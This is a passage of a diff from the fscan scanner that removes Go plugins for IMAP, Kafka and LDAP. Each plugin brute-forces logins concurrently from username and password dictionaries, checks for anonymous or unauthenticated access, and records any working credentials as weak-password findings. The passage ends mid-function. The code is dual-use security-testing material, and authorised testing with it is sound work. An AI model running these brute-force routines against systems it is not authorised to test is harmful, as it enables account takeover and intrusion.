if len(ipv4Addrs) > 0 {
|
||||
output.WriteString("\n IPv4地址:")
|
||||
for _, addr := range ipv4Addrs {
|
||||
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||
}
|
||||
}
|
||||
|
||||
if len(ipv6Addrs) > 0 {
|
||||
output.WriteString("\n IPv6地址:")
|
||||
for _, addr := range ipv6Addrs {
|
||||
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogInfo(output.String())
|
||||
return nil
|
||||
}
|
||||
-324
@@ -1,324 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// IMAPCredential 表示一个IMAP凭据
|
||||
type IMAPCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// IMAPScanResult 表示IMAP扫描结果
|
||||
type IMAPScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential IMAPCredential
|
||||
}
|
||||
|
||||
// IMAPScan 主扫描函数
|
||||
func IMAPScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []IMAPCredential
|
||||
for _, user := range Common.Userdict["imap"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, IMAPCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["imap"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 并发扫描
|
||||
result := concurrentIMAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveIMAPResult(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("IMAP扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentIMAPScan 并发扫描IMAP服务
|
||||
func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *IMAPScanResult, 1)
|
||||
workChan := make(chan IMAPCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryIMAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("IMAP并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryIMAPCredential 尝试单个IMAP凭据
|
||||
func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &IMAPScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建单个连接超时的上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := IMAPConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &IMAPScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &IMAPScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// IMAPConn 连接测试函数
|
||||
func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
addr := fmt.Sprintf("%s:%s", host, port)
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中尝试连接
|
||||
go func() {
|
||||
// 先尝试普通连接
|
||||
dialer := &net.Dialer{Timeout: timeout}
|
||||
conn, err := dialer.DialContext(ctx, "tcp", addr)
|
||||
if err == nil {
|
||||
flag, authErr := tryIMAPAuth(conn, user, pass, timeout)
|
||||
conn.Close()
|
||||
if authErr == nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, nil}:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 如果普通连接失败或认证失败,尝试TLS连接
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
}
|
||||
tlsConn, tlsErr := tls.DialWithDialer(dialer, "tcp", addr, tlsConfig)
|
||||
if tlsErr != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, fmt.Errorf("连接失败: %v", tlsErr)}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer tlsConn.Close()
|
||||
|
||||
flag, authErr := tryIMAPAuth(tlsConn, user, pass, timeout)
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, authErr}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// tryIMAPAuth 尝试IMAP认证
|
||||
func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
reader := bufio.NewReader(conn)
|
||||
_, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
|
||||
}
|
||||
|
||||
loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass)
|
||||
_, err = conn.Write([]byte(loginCmd))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("发送登录命令失败: %v", err)
|
||||
}
|
||||
|
||||
for {
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
response, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
return false, fmt.Errorf("读取响应失败: %v", err)
|
||||
}
|
||||
|
||||
if strings.Contains(response, "a001 OK") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") {
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// saveIMAPResult 保存IMAP扫描结果
|
||||
func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredential) {
|
||||
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "imap",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,327 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/IBM/sarama"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// KafkaCredential 表示Kafka凭据
|
||||
type KafkaCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// KafkaScanResult 表示扫描结果
|
||||
type KafkaScanResult struct {
|
||||
Success bool
|
||||
IsUnauth bool
|
||||
Error error
|
||||
Credential KafkaCredential
|
||||
}
|
||||
|
||||
func KafkaScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 先尝试无认证访问
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if unauthResult.Success {
|
||||
// 无认证访问成功
|
||||
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
|
||||
|
||||
// 保存无认证访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "kafka",
|
||||
"type": "unauthorized-access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []KafkaCredential
|
||||
for _, user := range Common.Userdict["kafka"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, KafkaCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["kafka"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentKafkaScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 保存爆破成功结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "kafka",
|
||||
"type": "weak-password",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
|
||||
target, result.Credential.Username, result.Credential.Password))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Kafka扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentKafkaScan 并发扫描Kafka服务
|
||||
func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *KafkaScanResult, 1)
|
||||
workChan := make(chan KafkaCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryKafkaCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Kafka并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryKafkaCredential 尝试单个Kafka凭据
|
||||
func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &KafkaScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建单个连接超时的上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
|
||||
// 在协程中执行Kafka连接
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := KafkaConn(info, credential.Username, credential.Password)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
// 连接超时或被取消
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
// 发送结果
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
var success bool
|
||||
var err error
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
success = result.success
|
||||
err = result.err
|
||||
case <-connCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
// 全局超时
|
||||
cancel()
|
||||
return &KafkaScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
// 单个连接超时
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
cancel() // 清理单个连接上下文
|
||||
|
||||
if success {
|
||||
isUnauth := credential.Username == "" && credential.Password == ""
|
||||
return &KafkaScanResult{
|
||||
Success: true,
|
||||
IsUnauth: isUnauth,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 记录错误
|
||||
Common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
|
||||
credential.Username, credential.Password, err))
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &KafkaScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// KafkaConn 尝试 Kafka 连接
|
||||
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
config := sarama.NewConfig()
|
||||
config.Net.DialTimeout = timeout
|
||||
config.Net.ReadTimeout = timeout
|
||||
config.Net.WriteTimeout = timeout
|
||||
config.Net.TLS.Enable = false
|
||||
config.Version = sarama.V2_0_0_0
|
||||
|
||||
// 设置 SASL 配置
|
||||
if user != "" || pass != "" {
|
||||
config.Net.SASL.Enable = true
|
||||
config.Net.SASL.Mechanism = sarama.SASLTypePlaintext
|
||||
config.Net.SASL.User = user
|
||||
config.Net.SASL.Password = pass
|
||||
config.Net.SASL.Handshake = true
|
||||
}
|
||||
|
||||
brokers := []string{fmt.Sprintf("%s:%s", host, port)}
|
||||
|
||||
// 尝试作为消费者连接测试
|
||||
consumer, err := sarama.NewConsumer(brokers, config)
|
||||
if err == nil {
|
||||
defer consumer.Close()
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// 如果消费者连接失败,尝试作为客户端连接
|
||||
client, err := sarama.NewClient(brokers, config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// 检查错误类型
|
||||
if strings.Contains(err.Error(), "SASL") ||
|
||||
strings.Contains(err.Error(), "authentication") ||
|
||||
strings.Contains(err.Error(), "credentials") {
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
return false, err
|
||||
}
|
||||
-312
@@ -1,312 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/go-ldap/ldap/v3"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// LDAPCredential 表示一个LDAP凭据
|
||||
type LDAPCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// LDAPScanResult 表示LDAP扫描结果
|
||||
type LDAPScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential LDAPCredential
|
||||
IsAnonymous bool
|
||||
}
|
||||
|
||||
func LDAPScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 首先尝试匿名访问
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, Common.Timeout, 1)
|
||||
|
||||
if anonymousResult.Success {
|
||||
// 匿名访问成功
|
||||
saveLDAPResult(info, target, anonymousResult)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []LDAPCredential
|
||||
for _, user := range Common.Userdict["ldap"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, LDAPCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["ldap"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentLDAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveLDAPResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("LDAP扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentLDAPScan 并发扫描LDAP服务
|
||||
func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *LDAPScanResult, 1)
|
||||
workChan := make(chan LDAPCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryLDAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("LDAP并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryLDAPCredential 尝试单个LDAP凭据
|
||||
func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &LDAPScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := LDAPConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
isAnonymous := credential.Username == "" && credential.Password == ""
|
||||
return &LDAPScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
IsAnonymous: isAnonymous,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &LDAPScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// LDAPConn 尝试LDAP连接
|
||||
func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 创建拨号器并设置超时
|
||||
dialer := &net.Dialer{
|
||||
Timeout: time.Duration(Common.Timeout) * time.Second,
|
||||
}
|
||||
|
||||
// 使用上下文控制的拨号过程
|
||||
conn, err := dialer.DialContext(ctx, "tcp", address)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 使用已连接的TCP连接创建LDAP连接
|
||||
l := ldap.NewConn(conn, false)
|
||||
defer l.Close()
|
||||
|
||||
// 在单独的协程中启动LDAP连接
|
||||
go l.Start()
|
||||
|
||||
// 创建一个完成通道
|
||||
done := make(chan error, 1)
|
||||
|
||||
// 在协程中进行绑定和搜索操作,确保可以被上下文取消
|
||||
go func() {
|
||||
// 尝试绑定
|
||||
var err error
|
||||
if user != "" {
|
||||
// 使用更通用的绑定DN模式
|
||||
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
|
||||
err = l.Bind(bindDN, pass)
|
||||
} else {
|
||||
// 匿名绑定
|
||||
err = l.UnauthenticatedBind("")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
done <- err
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试简单搜索以验证权限
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
"dc=example,dc=com",
|
||||
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
|
||||
"(objectClass=*)",
|
||||
[]string{"dn"},
|
||||
nil,
|
||||
)
|
||||
|
||||
_, err = l.Search(searchRequest)
|
||||
done <- err
|
||||
}()
|
||||
|
||||
// 等待操作完成或上下文取消
|
||||
select {
|
||||
case err := <-done:
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return true, nil
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveLDAPResult 保存LDAP扫描结果
|
||||
func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult) {
|
||||
var successMsg string
|
||||
